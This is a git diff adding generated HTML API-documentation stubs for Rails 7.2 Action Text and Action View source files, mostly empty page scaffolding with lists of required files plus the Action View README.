diff --git a/src/7.2/files/actiontext/lib/action_text/attachables/missing_attachable_rb.html b/src/7.2/files/actiontext/lib/action_text/attachables/missing_attachable_rb.html new file mode 100644 index 0000000000..461e711d4b --- /dev/null +++ b/src/7.2/files/actiontext/lib/action_text/attachables/missing_attachable_rb.html @@ -0,0 +1,81 @@ +--- +title: missing_attachable.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actiontext/lib/action_text/attachables/remote_image_rb.html b/src/7.2/files/actiontext/lib/action_text/attachables/remote_image_rb.html new file mode 100644 index 0000000000..f49417ee09 --- /dev/null +++ b/src/7.2/files/actiontext/lib/action_text/attachables/remote_image_rb.html @@ -0,0 +1,79 @@ +--- +title: remote_image.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actiontext/lib/action_text/attachment_gallery_rb.html b/src/7.2/files/actiontext/lib/action_text/attachment_gallery_rb.html new file mode 100644 index 0000000000..1052ac095f --- /dev/null +++ b/src/7.2/files/actiontext/lib/action_text/attachment_gallery_rb.html @@ -0,0 +1,77 @@ +--- +title: attachment_gallery.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actiontext/lib/action_text/attachment_rb.html b/src/7.2/files/actiontext/lib/action_text/attachment_rb.html new file mode 100644 index 0000000000..a1c384e010 --- /dev/null +++ b/src/7.2/files/actiontext/lib/action_text/attachment_rb.html @@ -0,0 +1,85 @@ +--- +title: attachment.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/object/try
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actiontext/lib/action_text/attachments/caching_rb.html b/src/7.2/files/actiontext/lib/action_text/attachments/caching_rb.html new file mode 100644 index 0000000000..19aeb09088 --- /dev/null +++ b/src/7.2/files/actiontext/lib/action_text/attachments/caching_rb.html @@ -0,0 +1,76 @@ +--- +title: caching.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actiontext/lib/action_text/attachments/minification_rb.html b/src/7.2/files/actiontext/lib/action_text/attachments/minification_rb.html new file mode 100644 index 0000000000..40d5706042 --- /dev/null +++ b/src/7.2/files/actiontext/lib/action_text/attachments/minification_rb.html @@ -0,0 +1,74 @@ +--- +title: minification.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actiontext/lib/action_text/attachments/trix_conversion_rb.html b/src/7.2/files/actiontext/lib/action_text/attachments/trix_conversion_rb.html new file mode 100644 index 0000000000..ea977ae4f9 --- /dev/null +++ b/src/7.2/files/actiontext/lib/action_text/attachments/trix_conversion_rb.html @@ -0,0 +1,82 @@ +--- +title: trix_conversion.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/object/try
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actiontext/lib/action_text/attribute_rb.html b/src/7.2/files/actiontext/lib/action_text/attribute_rb.html new file mode 100644 index 0000000000..3fd1d2d275 --- /dev/null +++ b/src/7.2/files/actiontext/lib/action_text/attribute_rb.html @@ -0,0 +1,72 @@ +--- +title: attribute.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actiontext/lib/action_text/content_rb.html b/src/7.2/files/actiontext/lib/action_text/content_rb.html new file mode 100644 index 0000000000..7dc68600f6 --- /dev/null +++ b/src/7.2/files/actiontext/lib/action_text/content_rb.html @@ -0,0 +1,77 @@ +--- +title: content.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actiontext/lib/action_text/deprecator_rb.html b/src/7.2/files/actiontext/lib/action_text/deprecator_rb.html new file mode 100644 index 0000000000..312ec1654c --- /dev/null +++ b/src/7.2/files/actiontext/lib/action_text/deprecator_rb.html @@ -0,0 +1,72 @@ +--- +title: deprecator.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actiontext/lib/action_text/encryption_rb.html b/src/7.2/files/actiontext/lib/action_text/encryption_rb.html new file mode 100644 index 0000000000..06499a9fae --- /dev/null +++ b/src/7.2/files/actiontext/lib/action_text/encryption_rb.html @@ -0,0 +1,72 @@ +--- +title: encryption.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actiontext/lib/action_text/engine_rb.html b/src/7.2/files/actiontext/lib/action_text/engine_rb.html new file mode 100644 index 0000000000..221e1f064a --- /dev/null +++ b/src/7.2/files/actiontext/lib/action_text/engine_rb.html @@ -0,0 +1,97 @@ +--- +title: engine.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails
  • + +
  • action_controller/railtie
  • + +
  • active_record/railtie
  • + +
  • active_storage/engine
  • + +
  • action_text
  • + +
  • action_text/system_test_helper
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actiontext/lib/action_text/fixture_set_rb.html b/src/7.2/files/actiontext/lib/action_text/fixture_set_rb.html new file mode 100644 index 0000000000..2ce8f10471 --- /dev/null +++ b/src/7.2/files/actiontext/lib/action_text/fixture_set_rb.html @@ -0,0 +1,81 @@ +--- +title: fixture_set.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actiontext/lib/action_text/fragment_rb.html b/src/7.2/files/actiontext/lib/action_text/fragment_rb.html new file mode 100644 index 0000000000..b898340c2b --- /dev/null +++ b/src/7.2/files/actiontext/lib/action_text/fragment_rb.html @@ -0,0 +1,77 @@ +--- +title: fragment.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actiontext/lib/action_text/gem_version_rb.html b/src/7.2/files/actiontext/lib/action_text/gem_version_rb.html new file mode 100644 index 0000000000..6b21af5fc9 --- /dev/null +++ b/src/7.2/files/actiontext/lib/action_text/gem_version_rb.html @@ -0,0 +1,72 @@ +--- +title: gem_version.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actiontext/lib/action_text/html_conversion_rb.html b/src/7.2/files/actiontext/lib/action_text/html_conversion_rb.html new file mode 100644 index 0000000000..e5ee7dade4 --- /dev/null +++ b/src/7.2/files/actiontext/lib/action_text/html_conversion_rb.html @@ -0,0 +1,72 @@ +--- +title: html_conversion.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actiontext/lib/action_text/plain_text_conversion_rb.html b/src/7.2/files/actiontext/lib/action_text/plain_text_conversion_rb.html new file mode 100644 index 0000000000..c9a278651d --- /dev/null +++ b/src/7.2/files/actiontext/lib/action_text/plain_text_conversion_rb.html @@ -0,0 +1,72 @@ +--- +title: plain_text_conversion.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actiontext/lib/action_text/rendering_rb.html b/src/7.2/files/actiontext/lib/action_text/rendering_rb.html new file mode 100644 index 0000000000..7c56ae46a1 --- /dev/null +++ b/src/7.2/files/actiontext/lib/action_text/rendering_rb.html @@ -0,0 +1,82 @@ +--- +title: rendering.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/concern
  • + +
  • active_support/core_ext/module/attribute_accessors_per_thread
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actiontext/lib/action_text/serialization_rb.html b/src/7.2/files/actiontext/lib/action_text/serialization_rb.html new file mode 100644 index 0000000000..faa04f484f --- /dev/null +++ b/src/7.2/files/actiontext/lib/action_text/serialization_rb.html @@ -0,0 +1,72 @@ +--- +title: serialization.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actiontext/lib/action_text/system_test_helper_rb.html b/src/7.2/files/actiontext/lib/action_text/system_test_helper_rb.html new file mode 100644 index 0000000000..338a86e78d --- /dev/null +++ b/src/7.2/files/actiontext/lib/action_text/system_test_helper_rb.html @@ -0,0 +1,72 @@ +--- +title: system_test_helper.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actiontext/lib/action_text/trix_attachment_rb.html b/src/7.2/files/actiontext/lib/action_text/trix_attachment_rb.html new file mode 100644 index 0000000000..aa49d32b28 --- /dev/null +++ b/src/7.2/files/actiontext/lib/action_text/trix_attachment_rb.html @@ -0,0 +1,77 @@ +--- +title: trix_attachment.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actiontext/lib/action_text/version_rb.html b/src/7.2/files/actiontext/lib/action_text/version_rb.html new file mode 100644 index 0000000000..3a794c08bb --- /dev/null +++ b/src/7.2/files/actiontext/lib/action_text/version_rb.html @@ -0,0 +1,70 @@ +--- +title: version.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actiontext/lib/action_text_rb.html b/src/7.2/files/actiontext/lib/action_text_rb.html new file mode 100644 index 0000000000..b03b5f5479 --- /dev/null +++ b/src/7.2/files/actiontext/lib/action_text_rb.html @@ -0,0 +1,90 @@ +--- +title: action_text.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support
  • + +
  • active_support/rails
  • + +
  • action_text/version
  • + +
  • action_text/deprecator
  • + +
  • nokogiri
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/README_rdoc.html b/src/7.2/files/actionview/README_rdoc.html new file mode 100644 index 0000000000..744d90eabb --- /dev/null +++ b/src/7.2/files/actionview/README_rdoc.html @@ -0,0 +1,103 @@ +--- +title: README.rdoc +layout: default +--- +
+ + +
+
+ +
+ +

Action View

+ +

Action View is a framework for handling view template lookup and rendering, and provides view helpers that assist when building HTML forms, Atom feeds and more. Template formats that Action View handles are ERB (embedded Ruby, typically used to inline short Ruby snippets inside HTML), and XML Builder.

+ +

You can read more about Action View in the Action View Overview guide.

+ +

Download and installation

+ +

The latest version of Action View can be installed with RubyGems:

+ +
$ gem install actionview
+
+ +

Source code can be downloaded as part of the Rails project on GitHub:

+ + +

License

+ +

Action View is released under the MIT license:

+ + +

Support

+ +

API documentation is at

+ + +

Bug reports for the Ruby on Rails project can be filed here:

+ + +

Feature requests should be discussed on the rails-core mailing list here:

+ + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/base_rb.html b/src/7.2/files/actionview/lib/action_view/base_rb.html new file mode 100644 index 0000000000..88328e6a8d --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/base_rb.html @@ -0,0 +1,101 @@ +--- +title: base.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/module/attr_internal
  • + +
  • active_support/core_ext/module/attribute_accessors
  • + +
  • active_support/ordered_options
  • + +
  • action_view/log_subscriber
  • + +
  • action_view/helpers
  • + +
  • action_view/context
  • + +
  • action_view/template
  • + +
  • action_view/lookup_context
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/buffers_rb.html b/src/7.2/files/actionview/lib/action_view/buffers_rb.html new file mode 100644 index 0000000000..1cba095515 --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/buffers_rb.html @@ -0,0 +1,78 @@ +--- +title: buffers.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/string/output_safety
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/cache_expiry_rb.html b/src/7.2/files/actionview/lib/action_view/cache_expiry_rb.html new file mode 100644 index 0000000000..e9dba8171c --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/cache_expiry_rb.html @@ -0,0 +1,79 @@ +--- +title: cache_expiry.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/context_rb.html b/src/7.2/files/actionview/lib/action_view/context_rb.html new file mode 100644 index 0000000000..7adfc2fa50 --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/context_rb.html @@ -0,0 +1,72 @@ +--- +title: context.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/dependency_tracker/erb_tracker_rb.html b/src/7.2/files/actionview/lib/action_view/dependency_tracker/erb_tracker_rb.html new file mode 100644 index 0000000000..377d0b1707 --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/dependency_tracker/erb_tracker_rb.html @@ -0,0 +1,70 @@ +--- +title: erb_tracker.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/dependency_tracker/ruby_tracker_rb.html b/src/7.2/files/actionview/lib/action_view/dependency_tracker/ruby_tracker_rb.html new file mode 100644 index 0000000000..36f7dec772 --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/dependency_tracker/ruby_tracker_rb.html @@ -0,0 +1,70 @@ +--- +title: ruby_tracker.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/dependency_tracker_rb.html b/src/7.2/files/actionview/lib/action_view/dependency_tracker_rb.html new file mode 100644 index 0000000000..1a13010c56 --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/dependency_tracker_rb.html @@ -0,0 +1,82 @@ +--- +title: dependency_tracker.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • concurrent/map
  • + +
  • action_view/path_set
  • + +
  • action_view/render_parser
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/deprecator_rb.html b/src/7.2/files/actionview/lib/action_view/deprecator_rb.html new file mode 100644 index 0000000000..77c5958da6 --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/deprecator_rb.html @@ -0,0 +1,72 @@ +--- +title: deprecator.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/digestor_rb.html b/src/7.2/files/actionview/lib/action_view/digestor_rb.html new file mode 100644 index 0000000000..4b6538eacc --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/digestor_rb.html @@ -0,0 +1,97 @@ +--- +title: digestor.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • action_view/dependency_tracker
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/flows_rb.html b/src/7.2/files/actionview/lib/action_view/flows_rb.html new file mode 100644 index 0000000000..39aa3e7118 --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/flows_rb.html @@ -0,0 +1,80 @@ +--- +title: flows.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/string/output_safety
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/gem_version_rb.html b/src/7.2/files/actionview/lib/action_view/gem_version_rb.html new file mode 100644 index 0000000000..2b809fa697 --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/gem_version_rb.html @@ -0,0 +1,72 @@ +--- +title: gem_version.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/helpers/active_model_helper_rb.html b/src/7.2/files/actionview/lib/action_view/helpers/active_model_helper_rb.html new file mode 100644 index 0000000000..956d53fcfe --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/helpers/active_model_helper_rb.html @@ -0,0 +1,86 @@ +--- +title: active_model_helper.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/module/attribute_accessors
  • + +
  • active_support/core_ext/enumerable
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/helpers/asset_tag_helper_rb.html b/src/7.2/files/actionview/lib/action_view/helpers/asset_tag_helper_rb.html new file mode 100644 index 0000000000..8a4f06ba7e --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/helpers/asset_tag_helper_rb.html @@ -0,0 +1,90 @@ +--- +title: asset_tag_helper.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/array/extract_options
  • + +
  • active_support/core_ext/hash/keys
  • + +
  • active_support/core_ext/object/inclusion
  • + +
  • action_view/helpers/asset_url_helper
  • + +
  • action_view/helpers/tag_helper
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/helpers/asset_url_helper_rb.html b/src/7.2/files/actionview/lib/action_view/helpers/asset_url_helper_rb.html new file mode 100644 index 0000000000..d7c53175f2 --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/helpers/asset_url_helper_rb.html @@ -0,0 +1,82 @@ +--- +title: asset_url_helper.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • zlib
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/helpers/atom_feed_helper_rb.html b/src/7.2/files/actionview/lib/action_view/helpers/atom_feed_helper_rb.html new file mode 100644 index 0000000000..15ef4ad62d --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/helpers/atom_feed_helper_rb.html @@ -0,0 +1,82 @@ +--- +title: atom_feed_helper.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • set
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/helpers/cache_helper_rb.html b/src/7.2/files/actionview/lib/action_view/helpers/cache_helper_rb.html new file mode 100644 index 0000000000..13ff675ef9 --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/helpers/cache_helper_rb.html @@ -0,0 +1,83 @@ +--- +title: cache_helper.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/helpers/capture_helper_rb.html b/src/7.2/files/actionview/lib/action_view/helpers/capture_helper_rb.html new file mode 100644 index 0000000000..87d2e50886 --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/helpers/capture_helper_rb.html @@ -0,0 +1,84 @@ +--- +title: capture_helper.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/string/output_safety
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/helpers/content_exfiltration_prevention_helper_rb.html b/src/7.2/files/actionview/lib/action_view/helpers/content_exfiltration_prevention_helper_rb.html new file mode 100644 index 0000000000..6441712e02 --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/helpers/content_exfiltration_prevention_helper_rb.html @@ -0,0 +1,74 @@ +--- +title: content_exfiltration_prevention_helper.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/helpers/controller_helper_rb.html b/src/7.2/files/actionview/lib/action_view/helpers/controller_helper_rb.html new file mode 100644 index 0000000000..89ce9d7be9 --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/helpers/controller_helper_rb.html @@ -0,0 +1,80 @@ +--- +title: controller_helper.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/module/attr_internal
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/helpers/csp_helper_rb.html b/src/7.2/files/actionview/lib/action_view/helpers/csp_helper_rb.html new file mode 100644 index 0000000000..38dc9f94d0 --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/helpers/csp_helper_rb.html @@ -0,0 +1,74 @@ +--- +title: csp_helper.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/helpers/csrf_helper_rb.html b/src/7.2/files/actionview/lib/action_view/helpers/csrf_helper_rb.html new file mode 100644 index 0000000000..72cbdad598 --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/helpers/csrf_helper_rb.html @@ -0,0 +1,74 @@ +--- +title: csrf_helper.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/helpers/date_helper_rb.html b/src/7.2/files/actionview/lib/action_view/helpers/date_helper_rb.html new file mode 100644 index 0000000000..b4c61204fb --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/helpers/date_helper_rb.html @@ -0,0 +1,103 @@ +--- +title: date_helper.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • date
  • + +
  • action_view/helpers/tag_helper
  • + +
  • active_support/core_ext/array/extract_options
  • + +
  • active_support/core_ext/date/conversions
  • + +
  • active_support/core_ext/hash/slice
  • + +
  • active_support/core_ext/object/acts_like
  • + +
  • active_support/core_ext/object/with_options
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/helpers/debug_helper_rb.html b/src/7.2/files/actionview/lib/action_view/helpers/debug_helper_rb.html new file mode 100644 index 0000000000..dc364d474d --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/helpers/debug_helper_rb.html @@ -0,0 +1,82 @@ +--- +title: debug_helper.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • action_view/helpers/tag_helper
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/helpers/form_helper_rb.html b/src/7.2/files/actionview/lib/action_view/helpers/form_helper_rb.html new file mode 100644 index 0000000000..7a51e17a93 --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/helpers/form_helper_rb.html @@ -0,0 +1,115 @@ +--- +title: form_helper.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • cgi
  • + +
  • action_view/helpers/date_helper
  • + +
  • action_view/helpers/url_helper
  • + +
  • action_view/helpers/form_tag_helper
  • + +
  • action_view/helpers/active_model_helper
  • + +
  • action_view/model_naming
  • + +
  • action_view/record_identifier
  • + +
  • active_support/code_generator
  • + +
  • active_support/core_ext/module/attribute_accessors
  • + +
  • active_support/core_ext/hash/slice
  • + +
  • active_support/core_ext/string/output_safety
  • + +
  • active_support/core_ext/string/inflections
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/helpers/form_options_helper_rb.html b/src/7.2/files/actionview/lib/action_view/helpers/form_options_helper_rb.html new file mode 100644 index 0000000000..93891ab048 --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/helpers/form_options_helper_rb.html @@ -0,0 +1,101 @@ +--- +title: form_options_helper.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • cgi
  • + +
  • erb
  • + +
  • active_support/core_ext/string/output_safety
  • + +
  • active_support/core_ext/array/extract_options
  • + +
  • active_support/core_ext/array/wrap
  • + +
  • action_view/helpers/text_helper
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/helpers/form_tag_helper_rb.html b/src/7.2/files/actionview/lib/action_view/helpers/form_tag_helper_rb.html new file mode 100644 index 0000000000..e1e43ab0c9 --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/helpers/form_tag_helper_rb.html @@ -0,0 +1,92 @@ +--- +title: form_tag_helper.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • cgi
  • + +
  • action_view/helpers/content_exfiltration_prevention_helper
  • + +
  • action_view/helpers/url_helper
  • + +
  • action_view/helpers/text_helper
  • + +
  • active_support/core_ext/string/output_safety
  • + +
  • active_support/core_ext/module/attribute_accessors
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/helpers/javascript_helper_rb.html b/src/7.2/files/actionview/lib/action_view/helpers/javascript_helper_rb.html new file mode 100644 index 0000000000..ce205fd459 --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/helpers/javascript_helper_rb.html @@ -0,0 +1,74 @@ +--- +title: javascript_helper.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/helpers/number_helper_rb.html b/src/7.2/files/actionview/lib/action_view/helpers/number_helper_rb.html new file mode 100644 index 0000000000..f3af9d4986 --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/helpers/number_helper_rb.html @@ -0,0 +1,95 @@ +--- +title: number_helper.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/hash/keys
  • + +
  • active_support/core_ext/string/output_safety
  • + +
  • active_support/number_helper
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionview/lib/action_view/helpers/output_safety_helper_rb.html b/src/7.2/files/actionview/lib/action_view/helpers/output_safety_helper_rb.html new file mode 100644 index 0000000000..d3b94cb423 --- /dev/null +++ b/src/7.2/files/actionview/lib/action_view/helpers/output_safety_helper_rb.html @@ -0,0 +1,82 @@ +--- +title: output_safety_helper.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/string/output_safety
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
